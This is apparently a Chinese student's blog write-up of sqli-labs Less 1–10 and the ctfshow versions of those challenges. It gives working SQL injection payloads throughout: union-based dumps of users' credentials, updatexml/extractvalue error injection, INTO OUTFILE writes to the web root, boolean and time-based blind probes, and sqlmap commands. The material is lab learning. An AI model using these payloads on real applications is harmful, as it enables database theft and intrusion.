端午有空就把sqli刷了一遍,之后可能主要学下渗透了,ctf也是做不太来题目,本文就发下前10道sqli题记录下(后面写的挺简略的),网上有很多师傅写的wp很好,也可以参照他们的,如果有想要我后面wp的师傅也可以加我联系方式私聊要的。

有无渗透大佬带带,教教学习思路也是可以的,非常感谢。

sqli

less1

这种$id用’(或”)闭合成为字符型注入

?id=1’–+

注:Mysql的注释有:

# 注释

– 注释

/* 注释 */

这里的+经过url编码后是空格,%23经url编码是#,将–+换成%23效果是一样的

?id=1’ order by 3–+

order by后面跟数字n代表查询结果根据第n列排序

?id=-1’ union select 1,2,3–+

image-20250513210225781

发现回显点2和3

?id=-1’ union select 1,version(),database()–+

image-20250513210350385

数据库名为security

?id=-1’ union select 1,user(),(select group_concat(table_name) from information_schema.tables where table_schema=database())–+

image-20250513212222941

解析下 select group_concat(table_name) from information_schema.tables where table_schema=database()

改sql语句的作用是筛选当前数据库下的所有表名,information_schema系统库的tables表存储所有表的表名和所属数据库,条件where将表的所属数据库锁定成当前数据库,group_concat将table_name字段下所有数据连接起来并用,分隔开

查询发现当前数据库下的表有4个,猜测users表最有可能存储所有用户名和密码

?id=-1’ union select 1,user(),(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=’users’)–+

解析下select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=’users’

该sql语句的作用是选出当前数据库下users表的所有字段名,where限制数据库名和表名,column_name是列名

image-20250513212924156

?id=-1’ union select 1,2,group_concat(username,’:’,password) from users–+

image-20250513213745442

成功爬取所有用户名和密码(脱库)

ctfshow版本 来获取flag的

爆库 ?id=-1’ union select 1,version(),group_concat(schema_name) from information_schema.schemata–+

这里就不同了

这里是爆了mysql的数据库information_schema 是 MySQL 的系统数据库,存放着各种元数据。

其中的 schemata 表记录了当前实例上所有数据库(schema)的名称。

爆表 ?id=-1’ union select 1,version(),group_concat(table_name)from information_schema.tables where table_schema=’ctfshow’–+

image-20250514222730183

爆列 ?id=-1’ union select 1,version(),group_concat(column_name) from information_schema.columns where table_name=’flag’–+

爆出列是id,flag

?id=-1’ union select 1,version(),group_concat(flag) from ctfshow.flag–+ 后面是库.表 前面是列flag

image-20250514223126809

得到flag

less2

照第一题试试

注入:?id=1’

image-20250513214210172

报错说SQL语句中 ‘ limit 0,1部分报错,这个’是我们加的,说明这里的$id没有闭合,这种我们称为数字型注入

?id=1 order by 3–+
?id=-1 union select 1,2,3–+

爆表

?id=-1 union select 1,version(),(select group_concat(table_name) from information_schema.tables where table_schema=database())–+

爆列

?id=-1 union select 1,user(),(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=’users’)–+

脱库

?id=-1 union select 1,2,group_concat(username,’:’,password) from users–+

ctfshow求flag做法,去掉个‘即可

?id=-1 union select 1,version(),group_concat(column_name) from information_schema.columns where table_name=’flagaa’–+

爆出来的表是这个 然后列是下面这个

image-20250514224051204

?id=-1 union select 1,version(),group_concat(flagac) from ctfshow.flagaa–+

image-20250514224138283

得到flag

less3

?id=1’

image-20250513215516522

闭合方式是’)

和上面同理最终payload:

?id=-1’) union select 1,2,group_concat(username,’:’,password) from users–+

ctfshow做法就改个闭合方式就行

这玩意都改表名和列名的,做的时候重新输入下

less4

?id=1’

image-20250513215935448

发现并没有报错,那么很可能是这样闭合的:”$id”

?id=1”

image-20250513220050590

所以是

报错看出闭合方式为”)同理,最终payload为:

?id=-1”) union select 1,2,group_concat(username,’:’,password) from users–+

ctfshow同理改下闭合方式”)

less5

?id=1

image-20250513221312585

?id=1’

image-20250513221425803

发现有报错信息,符合报错注入前提,并且闭合方式为’

?id=1’ and updatexml(1,0x7e,1)–+

image-20250513221616927

发现存在xpath报错,这里的0x7e是 ~ 转十六进制后的数,你也可以将前面注入的 …where table_name=’users’ 中 ‘users’ 换成对应的十六进制数,字符串替换成十六进制数有一定的绕过作用,接下来用concat连接0x7e和select语句就行

爆表

?id=1’ and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),1)–+

爆列

?id=1’ and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x7573657273)),1)–+

脱库

?id=1’ and updatexml(1,concat(0x7e,(select concat(username,’:’,password) from users limit 0,1)),1)–+

image-20250513222256350

由于xpath报错有限制长度,所以用limit来逐条爆破,group_concat换成concat。

limit 0,1表示从0开始选1条数据,接下来是limit 1,1 limit 2,1 limit 3,1等

ctfshow做法

其实也就报错中间改改

?id=1’ and updatexml(1,concat(0x7e,(select group_concat(schema_name) from information_schema.schemata)),1)–+

image-20250514231122797

?id=1’ and updatexml(1,concat(0x7e,(select(group_concat(table_name))from information_schema.tables where table_schema=”ctfshow”)),1)–+

image-20250514231547065

?id=1’ and updatexml(1,concat(0x7e,(select(group_concat(column_name))from information_schema.columns where table_name=”flagpuck”)),1)–+

image-20250514231714117

?id=1’ and updatexml(1,concat(0x7e,right((select(group_concat(flag33)) from ctfshow.flagpuck) ,25)),1)–+
image-20250514232857771

?id=1’ and updatexml(1,concat(0x7e,left((select(group_concat(flag33)) from ctfshow.flagpuck) ,25)),1)–+

image-20250514233046835

这样就得到flag了 为什么不直接拿flag 而是这样分段拿了

因为直接拿会这样

image-20250514233955975

字符串返回有长度限制

less6

?id=1”

image-20250513222646850

发现闭合方式为”,和上一关同理采用报错注入,这里用extractvalue函数

最终payload为:

?id=1" and extractvalue(1,concat(0x7e,(select concat(username,':',password) from users limit 0,1)))--+

就闭合换下 一样的

less7

文章读写注入

跳过先

'))闭合

?id=1’)) union select 1,2,group_concat(schema_name) from information_schema.schemata into outfile “/var/www/html/1.txt”–+

写入文件进去

image-20250515001033868

?id=1’)) union select 1,2,group_concat(table_name)from information_schema.tables where table_schema=’ctfshow’ into outfile “/var/www/html/2.txt”–+

image-20250515001106161

?id=1’)) union select 1,2,group_concat(column_name) from information_schema.columns where table_name=’flagdk’ into outfile “/var/www/html/3.txt”–+

image-20250515001255566

?id=1’)) union select 1,2,group_concat(flag43) from ctfshow.flagdk into outfile “/var/www/html/4.txt”–+

image-20250515001654717

less8

布尔盲注

函数介绍

ascii(str)        # 返回字符串的ASCII码

length(str)        # 返回字符串的长度

mid(str,index,j)        # 返回str的从index开始后的j位(index是从1开始的)

substr(str,index,j)        # 和mid功能一样

这一关发现不管怎么注入都没有报错信息,但是有登录成功与否的回显,这里我们用一种新的注入方式:布尔盲注

?id=1’ and 1=1–+

image-20250513224438577

?id=1’ and 1=2–+

image-20250513224502411

说明and后的条件判断为true时才有回显

猜解数据库长度:?id=1’ and length(database())=8–+

有回显说明数据库长度是8,这里可以用二分法一步步尝试,比如从<100到<50到<25…最后再用等于确定长度是8

猜解数据库名:?id=1’ and ascii(mid(database(),1,1))=115–+

字符s的ASCII码是115,说明database()的第一个字符是s,按照相同的办法猜表名和字段名即可

上面只是介绍布尔盲注的原理,对于盲注的问题一般采用脚本或者工具来处理,例如sqlmap

python sqlmap.py -u “http://sqli-labs:8022/Less-8/?id=1“ –batch –dbs

image-20250513233318013

ctfshow的话直接布尔盲注即可,网上有挺多脚本的

less9

延时注入

也叫时间盲注

尝试了多种注入方式发现回显都一样,这里试试延时注入

注入:?id=1’ and if(1,sleep(5),1)–+

发现页面加载时间变长了,说明if条件判断生效了,即存在注入点

猜数据库长度:?id=1’ and if(length(database())=8,sleep(5),1)–+

页面返回时间变长,说明数据库长度为8

逐个猜解数据库:?id=1' and if(ascii(mid(database(),1,1))=115,sleep(),1)--+

页面返回时间变长,说明数据库第一个字符为s

延时盲注也能用sqlmap:

python sqlmap.py -u “http://sqli-labs:8022/Less-9/?id=1“ –batch –dbs

ctfshow 可以用时间盲注脚本

less10

和上一关一样用延时注入,只是闭合方式换成了”

注入:?id=1"%20and%20if(1,sleep(5),1)--+

返回时间变长,存在注入点

猜数据库长度:?id=1" and if(length(database())=8,sleep(5),1)--+

逐个猜解数据库:?id=1" and if(ascii(mid(database(),1,1))=115,sleep(),1)--+

用sqlmap

ctfshow 这个的脚本在9的基础上把闭合方式从’ 改成“就行了

乱七八糟的东西

5月份还去参加软件安全决赛了,这里顺便也记录点照片

image-20250601221208814

image-20250601221306422

image-20250601221316976

image-20250601221341038

豪赤

image-20250601221409175

最近还是依旧emo。